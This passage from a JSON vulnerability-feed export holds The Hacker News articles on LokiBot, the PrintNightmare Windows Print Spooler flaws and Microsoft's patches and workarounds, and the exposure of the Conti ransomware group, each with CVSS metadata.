Management.\n\n[Join Today](<https://thn.news/I26t1VFD>)\n\n[LokiBot](<https://malpedia.caad.fkie.fraunhofer.de/details/win.lokipws>), not to be confused with an [Android banking trojan](<https://malpedia.caad.fkie.fraunhofer.de/details/apk.lokibot>) of the same name, comes with capabilities to log keystrokes, capture screenshots, gather login credential information from web browsers, and siphon data from a variety of cryptocurrency wallets.\n\n\"LokiBot is a long-standing and widespread malware active for many years,\" Lin said. \"Its functionalities have matured over time, making it easy for cybercriminals to use it to steal sensitive data from victims. The attackers behind LokiBot continually update their initial access methods, allowing their malware campaign to find more efficient ways to spread and infect systems.\"\n\n \n\n\nFound this article interesting? Follow us on [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2023-07-17T09:04:00", "type": "thn", "title": "Cybercriminals Exploit Microsoft Word Vulnerabilities to Deploy LokiBot Malware", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444", "CVE-2022-30190"], "modified": "2023-07-17T09:04:48", "id": "THN:1B5512B7CB75F82A34395AC39A9B2680", "href": "https://thehackernews.com/2023/07/cybercriminals-exploit-microsoft-word.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:39:22", "description": "[](<https://thehackernews.com/images/-wbLrBJlJCfE/YOUa-690-KI/AAAAAAAADG0/6tT84mGPz6gQ_5vYBxhkEE_spk0LW4WpwCLcBGAsYHQ/s0/windows-patch-update.jpg>)\n\nMicrosoft has shipped an [emergency out-of-band security update](<https://docs.microsoft.com/en-us/windows/release-health/windows-message-center#1646>) to address a critical zero-day vulnerability \u2014 known as \"PrintNightmare\" \u2014 that affects the Windows Print Spooler service and can permit remote threat actors to run arbitrary code and take over vulnerable systems.\n\nTracked as [CVE-2021-34527](<https://thehackernews.com/2021/07/microsoft-warns-of-critical.html>) (CVSS score: 8.8), the remote code execution flaw impacts all supported editions of Windows. Last week, the company warned it had detected active exploitation attempts targeting the vulnerability.\n\n\"The Microsoft Windows Print Spooler service fails to restrict access to functionality that allows users to add printers and related drivers, which can allow a remote authenticated attacker to execute arbitrary code with SYSTEM privileges on a vulnerable system,\" the CERT Coordination Center said of the issue.\n\nIt's worth noting that PrintNightmare includes both remote code execution and a [local privilege escalation](<https://github.com/calebstewart/CVE-2021-1675>) vector that can be abused in attacks to run commands with SYSTEM privileges on targeted Windows machines.\n\n[](<https://thehackernews.com/images/-NzUbsCmtpLU/YOUekekqtnI/AAAAAAAADG8/HwnD7Xq3_iYftG9BrRvS1tJxIBOomRzXgCLcBGAsYHQ/s0/lpe.jpg>)\n\n\"The Microsoft update for CVE-2021-34527 only appears to address the Remote Code Execution (RCE via SMB and RPC) variants of the PrintNightmare, and not the Local Privilege Escalation (LPE) variant,\" CERT/CC vulnerability analyst Will Dormann [said](<https://www.kb.cert.org/vuls/id/383432>).\n\nThis effectively means that the incomplete fix could still be used by a local adversary to gain SYSTEM privileges. As workarounds, Microsoft recommends stopping and disabling the Print Spooler service or turning off inbound remote printing through Group Policy to block remote attacks.\n\nGiven the criticality of the flaw, the Windows maker has issued patches for:\n\n * Windows Server 2019\n * Windows Server 2012 R2\n * Windows Server 2008\n * Windows 8.1\n * Windows RT 8.1, and\n * Windows 10 (versions 21H1, 20H2, 2004, 1909, 1809, 1803, and 1507)\n\nMicrosoft has even taken the unusual step of issuing the fix for Windows 7, which officially reached the end of support as of January 2020.\n\nThe [update](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>), however, does not include Windows 10 version 1607, Windows Server 2012, or Windows Server 2016, for which the Redmond-based company stated patches will be released in the forthcoming days.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-07-07T03:11:00", "type": "thn", "title": "Microsoft Issues Emergency Patch for Critical Windows PrintNightmare Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-07-07T03:38:13", "id": "THN:42B8A8C00254E7187FE0F1EF2AF6F5D7", "href": "https://thehackernews.com/2021/07/microsoft-issues-emergency-patch-for.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:39:23", "description": "[](<https://thehackernews.com/images/-RJ_0BYkTxHY/YN7HyUD-_KI/AAAAAAAA4SA/dbXcZli9DPwTnJvla5sgZ3hDzIqO8zLRgCLcBGAsYHQ/s0/windows-print-spooler-vulnerability.jpg>)\n\nMicrosoft on Thursday officially confirmed that the \"**PrintNightmare**\" remote code execution (RCE) vulnerability affecting Windows Print Spooler is different from the issue the company addressed as part of its Patch Tuesday update released earlier this month, while warning that it has detected exploitation attempts targeting the flaw.\n\nThe company is tracking the security weakness under the identifier [CVE-2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>), and has assigned it a severity rating of 8.8 on the CVSS scoring system. All versions of Windows contain the vulnerable code and are susceptible to exploitation.\n\n\"A remote code execution vulnerability exists when the Windows Print Spooler service improperly performs privileged file operations,\" Microsoft said in its advisory. \"An attacker who successfully exploited this vulnerability could run arbitrary code with SYSTEM privileges. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.\"\n\n\"An attack must involve an authenticated user calling RpcAddPrinterDriverEx(),\" the Redmond-based firm added. When reached by The Hacker News, the company said it had nothing to share beyond the advisory.\n\nThe acknowledgment comes after researchers from Hong Kong-based cybersecurity company Sangfor [published](<https://thehackernews.com/2021/06/researchers-leak-poc-exploit-for.html>) a technical deep-dive of a Print Spooler RCE flaw to GitHub, along with a fully working PoC code, before it was taken down just hours after it went up.\n\n[](<https://thehackernews.com/images/-Zl5E2TyZRFQ/YN7Ej6s8x8I/AAAAAAAA4R4/FEYZ4JpYdakscU9e8eXMl9VEI0Hl1P_SwCLcBGAsYHQ/s0/ms.jpg>)\n\nThe disclosures also set off speculation and debate about whether the June patch does or does not protect against the RCE vulnerability, with the CERT Coordination Center [noting](<https://kb.cert.org/vuls/id/383432>) that \"while Microsoft has released an update for CVE-2021-1675, it is important to realize that this update does NOT protect Active Directory domain controllers, or systems that have Point and Print configured with the NoWarningNoElevationOnInstall option configured.\"\n\nCVE-2021-1675, originally classified as an elevation of privilege vulnerability and later revised to RCE, was remediated by Microsoft on June 8, 2021.\n\nThe company, in its advisory, noted that PrintNightmare is distinct from CVE-2021-1675 for reasons that the latter resolves a separate vulnerability in RpcAddPrinterDriverEx() and that the attack vector is different.\n\nAs workarounds, Microsoft is recommending users to disable the Print Spooler service or turn off inbound remote printing through Group Policy. To reduce the attack surface and as an alternative to completely disabling printing, the company is also advising to check membership and nested group membership, and reduce membership as much as possible, or completely empty the groups where possible.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-07-02T05:36:00", "type": "thn", "title": "Microsoft Warns of Critical \"PrintNightmare\" Flaw Being Exploited in the Wild", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-07-03T07:11:54", "id": "THN:9CE630030E0F3E3041E633E498244C8D", "href": "https://thehackernews.com/2021/07/microsoft-warns-of-critical.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:39:22", "description": "[](<https://thehackernews.com/images/-4tveTym6-fk/YOZ_5ZwEbHI/AAAAAAAADHs/xXSCpfsipXYpe6tJM2SGaTIDUE9dVGoGwCLcBGAsYHQ/s0/PrintNightmare-Vulnerability-Patch.jpg>)\n\nEven as Microsoft [expanded patches](<https://docs.microsoft.com/en-us/windows/release-health/windows-message-center>) for the so-called [PrintNightmare vulnerability](<https://thehackernews.com/2021/07/how-to-mitigate-microsoft-print-spooler.html>) for Windows 10 version 1607, Windows Server 2012, and Windows Server 2016, it has come to light that the fix for the remote code execution exploit in the Windows Print Spooler service can be bypassed in certain scenarios, effectively defeating the security protections and permitting attackers to run arbitrary code on infected systems.\n\nOn Tuesday, the Windows maker issued an [emergency out-of-band update](<https://thehackernews.com/2021/07/microsoft-issues-emergency-patch-for.html>) to address [CVE-2021-34527](<https://thehackernews.com/2021/07/microsoft-warns-of-critical.html>) (CVSS score: 8.8) after the flaw was accidentally disclosed by researchers from Hong Kong-based cybersecurity firm Sangfor late last month, at which point it emerged that the issue was different from another bug \u2014 tracked as [CVE-2021-1675](<https://thehackernews.com/2021/06/researchers-leak-poc-exploit-for.html>) \u2014 that was patched by Microsoft on June 8.\n\n\"Several days ago, two security vulnerabilities were found in Microsoft Windows' existing printing mechanism,\" Yaniv Balmas, head of cyber research at Check Point, told The Hacker News. \"These vulnerabilities enable a malicious attacker to gain full control on all windows environments that enable printing.\"\n\n\"These are mostly working stations but, at times, this relates to entire servers that are an integral part of very popular organizational networks. Microsoft classified these vulnerabilities as critical, but when they were published they were able to fix only one of them, leaving the door open for explorations of the second vulnerability,\" Balmas added.\n\nPrintNightmare stems from bugs in the Windows [Print Spooler](<https://docs.microsoft.com/en-us/windows/win32/printdocs/print-spooler>) service, which manages the printing process inside local networks. The main concern with the threat is that non-administrator users had the ability to load their own printer drivers. This has now been rectified.\n\n\"After installing this [update] and later Windows updates, users who are not administrators can only install signed print drivers to a print server,\" Microsoft [said](<https://support.microsoft.com/en-us/topic/july-7-2021-kb5004948-os-build-14393-4470-out-of-band-fb676642-a3fe-4304-a79c-9d651d2f6550>), detailing the improvements made to mitigate the risks associated with the flaw. \"Administrator credentials will be required to install unsigned printer drivers on a printer server going forward.\"\n\nPost the update's release, CERT/CC vulnerability analyst Will Dormann cautioned that the patch \"only appears to address the Remote Code Execution (RCE via SMB and RPC) variants of the PrintNightmare, and not the Local Privilege Escalation (LPE) variant,\" thereby allowing attackers to abuse the latter to gain SYSTEM privileges on vulnerable systems.\n\nNow, further testing of the update has revealed that exploits targeting the flaw could [bypass](<https://twitter.com/gentilkiwi/status/1412771368534528001>) the [remediations](<https://twitter.com/wdormann/status/1412813044279910416>) entirely to gain both local privilege escalation and remote code execution. To achieve this, however, a [Windows policy](<https://docs.microsoft.com/en-us/troubleshoot/windows-server/printing/use-group-policy-to-control-ad-printer>) called '[Point and Print Restrictions](<https://docs.microsoft.com/en-us/troubleshoot/windows-client/group-policy/point-print-restrictions-policies-ignored>)' must be enabled (Computer Configuration\\Policies\\Administrative Templates\\Printers: Point and Print Restrictions), using which malicious printer drivers could be potentially installed.\n\n\"Note that the Microsoft update for CVE-2021-34527 does not effectively prevent exploitation of systems where the Point and Print NoWarningNoElevationOnInstall is set to 1,\" Dormann [said](<https://www.kb.cert.org/vuls/id/383432>) Wednesday. Microsoft, for its part, [explains in its advisory](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>) that \"Point and Print is not directly related to this vulnerability, but the technology weakens the local security posture in such a way that exploitation will be possible.\"\n\nWhile Microsoft has recommended the nuclear option of stopping and disabling the Print Spooler service, an [alternative workaround](<https://support.microsoft.com/en-us/topic/kb5005010-restricting-installation-of-new-printer-drivers-after-applying-the-july-6-2021-updates-31b91c02-05bc-4ada-a7ea-183b129578a7>) is to enable security prompts for Point and Print, and limit printer driver installation privileges to administrators alone by configuring the \"RestrictDriverInstallationToAdministrators\" registry value to prevent regular users from installing printer drivers on a print server.\n\n**UPDATE:** In response to CERT/CC's report, Microsoft [said](<https://msrc-blog.microsoft.com/2021/07/08/clarified-guidance-for-cve-2021-34527-windows-print-spooler-vulnerability/>) on Thursday:\n\n\"Our investigation has shown that the OOB [out-of-band] security update is working as designed and is effective against the known printer spooling exploits and other public reports collectively being referred to as PrintNightmare. All reports we have investigated have relied on the changing of default registry setting related to Point and Print to an insecure configuration.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-07-08T04:35:00", "type": "thn", "title": "Microsoft's Emergency Patch Fails to Fully Fix PrintNightmare RCE Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-07-09T09:52:49", "id": "THN:CAFA6C5C5A34365636215CFD7679FD50", "href": "https://thehackernews.com/2021/07/microsofts-emergency-patch-fails-to.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:37:54", "description": "[](<https://thehackernews.com/images/-hJTm9-cqglY/YNxU5_qFPTI/AAAAAAAADCE/M7b8MDQXSLEIfe1qnm26-N908L-atUbsQCLcBGAsYHQ/s0/windows-hacking.jpg>)\n\nA proof-of-concept (PoC) exploit related to a remote code execution vulnerability affecting Windows Print Spooler and patched by Microsoft earlier this month was briefly published online before being taken down.\n\nIdentified as [CVE-2021-1675](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675>), the security issue could grant remote attackers full control of vulnerable systems. [Print Spooler](<https://docs.microsoft.com/en-us/windows/win32/printdocs/print-spooler>) manages the printing process in Windows, including loading the appropriate printer drivers and scheduling the print job for printing, among others.\n\nPrint Spooler flaws are concerning, not least because of the wide attack surface, but also owing to the fact that it runs at the highest privilege level and is capable of dynamically loading third-party binaries.\n\nThe Windows maker addressed the vulnerability as part of its [Patch Tuesday](<https://thehackernews.com/2021/06/update-your-windows-computers-to-patch.html>) update on June 8, 2021. But almost two weeks later, Microsoft revised the flaw's impact from an elevation of privilege to remote code execution (RCE) as well as upgraded the severity level from Important to Critical.\n\n\"Either the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or remotely (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., tricking a legitimate user into opening a malicious document),\" Microsoft said in its advisory.\n\nThings took a turn when Chinese security firm QiAnXin earlier this week [disclosed](<https://twitter.com/RedDrip7/status/1409353110187757575>) it was able to find the \"right approaches\" to leverage the flaw, thereby demonstrating a successful exploitation to achieve RCE.\n\nAlthough the researchers refrained from sharing additional technical specifics, Hong Kong-based cybersecurity company Sangfor published what's an independent deep-dive of the same vulnerability to GitHub, along with a fully working PoC code, where it remained publicly accessible before it was taken offline a few hours later.\n\nSangfor codenamed the vulnerability \"PrintNightmare.\"\n\n\"We deleted the PoC of PrintNightmare. To mitigate this vulnerability, please update Windows to the latest version, or disable the Spooler service,\" [tweeted](<https://twitter.com/edwardzpeng/status/1409810304091889669>) Sangfor's Principal Security Researcher Zhiniang Peng. The findings are expected to be [presented](<https://www.blackhat.com/us-21/briefings/schedule/#diving-in-to-spooler-discovering-lpe-and-rce-vulnerabilities-in-windows-printer-23315>) at the Black Hat USA conference next month.\n\nWindows Print Spooler has long been a source of security vulnerabilities, with Microsoft fixing at least three issues \u2014 [CVE-2020-1048](<https://www.blackhat.com/us-20/briefings/schedule/index.html#a-decade-after-stuxnets-printer-vulnerability-printing-is-still-the-stairway-to-heaven-19685>), [CVE-2020-1300](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-1300>), and [CVE-2020-1337](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-1337>) \u2014 in the past year alone. Notably, a flaw in the service was also abused to gain remote access and propagate the [Stuxnet](<https://en.wikipedia.org/wiki/Stuxnet>) worm in 2010 targeting Iranian nuclear installations.\n\n_**Update **_**_\u2014_** There are now indications that the fix released by Microsoft for the critical remote code execution vulnerability in the Windows Print spooler service in June does not completely remediate the root cause of the bug, according to the CERT Coordination Center, raising the possibility that it's a zero-day flaw in need of a patch.\n\n\"While Microsoft has released an update for CVE-2021-1675, it is important to realize that this update does not address the public exploits that also identify as CVE-2021-1675,\" CERT/CC's Will Dormann [said](<https://twitter.com/wdormann/status/1410198834970599425>) in a [vulnerability note](<https://kb.cert.org/vuls/id/383432>) published Wednesday.\n\nIt's worth noting that the successful exploitation of CVE-2021-1675 could open the door to complete system takeover by remote adversaries. We have reached out to Microsoft for comment, and we will update the story when we hear back.\n\nIn light of the latest disclosure, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) is [recommending](<https://us-cert.cisa.gov/ncas/current-activity/2021/06/30/printnightmare-critical-windows-print-spooler-vulnerability>) that administrators \"disable the Windows Print spooler service in Domain Controllers and systems that do not print.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-06-30T11:28:00", "type": "thn", "title": "Researchers Leak PoC Exploit for a Critical Windows RCE Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-1048", "CVE-2020-1300", "CVE-2020-1337", "CVE-2021-1675"], "modified": "2021-07-02T04:15:41", "id": "THN:EDD5C9F076596EB9D13D36268BDBFAD1", "href": "https://thehackernews.com/2021/06/researchers-leak-poc-exploit-for.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:38:05", "description": "[](<https://thehackernews.com/new-images/img/a/AVvXsEguJG5dD1Vh67fJlg0O-HXucpsF2Y-eVW6kua8F3Er_7OwG5WZpZAqvZHKbXJboPvuTyfrTXpc260OZ87-4ehJm-_qY8JOnLJxhWok-es74ZTW3O7ua3WuueglfYtH7632jDmh5DfPftDD998FED2xruJFMtTPwe_eI7umOKXrdazu4WRTC-OnHg7ND>)\n\nThe clearnet and dark web payment portals operated by the [Conti](<https://thehackernews.com/2021/05/fbi-warns-conti-ransomware-hit-16-us.html>) ransomware group have gone down in what appears to be an attempt to shift to new infrastructure after details about the gang's inner workings and its members were made public.\n\nAccording to [MalwareHunterTeam](<https://twitter.com/malwrhunterteam/status/1461450607311605766>), \"while both the clearweb and Tor domains of the leak site of the Conti ransomware gang is online and working, both their clearweb and Tor domains for the payment site (which is obviously more important than the leak) is down.\"\n\nIt's not clear what prompted the shutdown, but the development comes as Swiss cybersecurity firm PRODAFT [offered](<https://www.prodaft.com/resource/detail/conti-ransomware-group-depth-analysis>) an unprecedented look into the group's ransomware-as-a-service (RaaS) model, wherein the developers sell or lease their ransomware technology to affiliates hired from darknet forums, who then carry out attacks on their behalf while also netting about 70% of each ransom payment extorted from the victims.\n\nThe result? Three members of the Conti team have been identified so far, each playing the roles of admin (\"Tokyo\"), assistant (\"it_work_support@xmpp[.]jp\"), and recruiter (\"IT_Work\") to attract new affiliates into their network.\n\nWhile ransomware attacks work by encrypting the victims' sensitive information and rendering it inaccessible, threat actors have increasingly latched on to a two-pronged strategy called double extortion to demand a ransom payment for decrypting the data and threaten to publicly publish the stolen information if the payment is not received within a specific deadline.\n\n[](<https://thehackernews.com/new-images/img/a/AVvXsEgOlxdMar0Fk9C_1oq4rsZqCsRuaWDFa_UwPznj1p4XnxV22g7c-3gidrF7ZVnxd0TVDTn8qhzr16V265fVSa3d-p7SOODkUMikIREYKzV6MyCaPI1KWzNgYj3TduhqzgszRUX6zZkCytED5c4K-icaEZjwN4cvwnz1D0zehnwVGdYAwJXLo8uaJijX>)\n\n\"Conti customers \u2013 affiliate threat actors \u2013 use [a digital] management panel to create new ransomware samples, manage their victims, and collect data on their attacks,\" noted the researchers, detailing the syndicate's attack kill chain leveraging PrintNightmare ([CVE-2021-1675](<https://thehackernews.com/2021/06/researchers-leak-poc-exploit-for.html>), [CVE-2021-34527](<https://thehackernews.com/2021/07/microsoft-warns-of-critical.html>), and [CVE-2021-36958](<https://thehackernews.com/2021/08/microsoft-security-bulletin-warns-of.html>)) and FortiGate ([CVE-2018-13374](<https://nvd.nist.gov/vuln/detail/CVE-2018-13374>) and [CVE-2018-13379](<https://thehackernews.com/2021/09/hackers-leak-vpn-account-passwords-from.html>)) vulnerabilities to compromise unpatched systems.\n\n[](<https://thehackernews.com/new-images/img/a/AVvXsEh5pQ7nISIe-f2lC7T7iJVkfmQ4L9uCXsO1rxdPo0YzkwJ4-Q15UkgDuRGhckTpdbAYrR1h3kYePBPrRNFWefg6MtaX_jlMsgcojwvu-zrrtvaw0hKxGJkD-dTl06UiZOX1R5kuboLkxyuot8hDBrgxX1fH8yoVdsv0e1f0rvziG6_Mw-IWMJUBBgQg>)\n\nEmerging on the cybercrime landscape in October 2019, Conti is believed to be the work of a Russia-based threat group called [Wizard Spider](<https://malpedia.caad.fkie.fraunhofer.de/actor/wizard_spider>), which is also the operator of the infamous [TrickBot](<https://thehackernews.com/2021/11/trickbot-operators-partner-with-shatak.html>) banking malware. Since then, at least 567 different companies have had their business-critical data exposed on the victim shaming site, with the ransomware cartel receiving over 500 bitcoin ($25.5 million) in payments since July 2021.\n\nWhat's more, an analysis of ransomware samples and the bitcoin wallet addresses utilized for receiving the payments has revealed a connection between Conti and Ryuk, with both families heavily banking on TrickBot, Emotet, and BazarLoader for actually [delivering the file-encrypting payloads](<https://thehackernews.com/2021/06/ransomware-attackers-partnering-with.html>) onto victim's networks via email phishing and other social engineering schemes.\n\n[](<https://thehackernews.com/new-images/img/a/AVvXsEgySne4_su9eRCap6MABBaa8kbBo2rWbr8gzBUOmkmLhbonXU-etPl5K4VuXHkduN2lH7fMHbQ7q8Wq0HsqBnUz9P3JWJBqtztJQAEPOJWnoAVuecd8Zyblq-TOPPfmILc40tmzfs9VX0h_utrR3fydA8JQm8EO0PO7BIKlRaSIBA8_I717s_bvckQ5>)\n\nPRODAFT said it was also able to gain access to the group's recovery service and an admin management panel hosted as a Tor hidden service on an Onion domain, revealing extensive details of a clearnet website called \"contirecovery[.]ws\" that contains instructions for purchasing decryption keys from the affiliates. Interestingly, an investigation into Conti's ransomware negotiation process [published](<https://team-cymru.com/blog/2021/10/05/collaborative-research-on-the-conti-ransomware-group/>) by Team Cymru last month highlighted a similar open web URL named \"contirecovery[.]info.\"\n\n\"In order to tackle the complex challenge of disrupting cybercriminal organizations, public and private forces need to work collaboratively with one another to better understand and mitigate the wider legal and commercial impact of the threat,\" the researchers said.\n\n**_Update:_** The Conti ransomware's payment [portals](<https://twitter.com/VK_Intel/status/1461810216241086467>) are back up and running, more than 24 hours after they were first taken down in response to a report that identified the real IP address of one of its recovery (aka payment) servers \u2014 217.12.204[.]135 \u2014 thereby effectively bolstering its security measures.\n\n\"Looks like Europeans have also decided to abandon their manners and go full-gansta simply trying to break our systems,\"the gang said in a statement posted on their blog, effectively confirming PRODAFT's findings, but characterizing the details as \"simply disinformation,\" and that \"the reported 25kk which we 'made since July' is straight-up BS - we've made around 300kk at least.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-11-19T06:50:00", "type": "thn", "title": "Experts Expose Secrets of Conti Ransomware Group That Made 25 Million from Victims", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13374", "CVE-2018-13379", "CVE-2021-1675", "CVE-2021-34527", "CVE-2021-36958"], "modified": "2021-11-20T15:13:21", "id": "THN:F35E41E26872B23A7F620C6D8F7E2334", "href": "https://thehackernews.com/2021/11/experts-expose-secrets-of-conti.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": 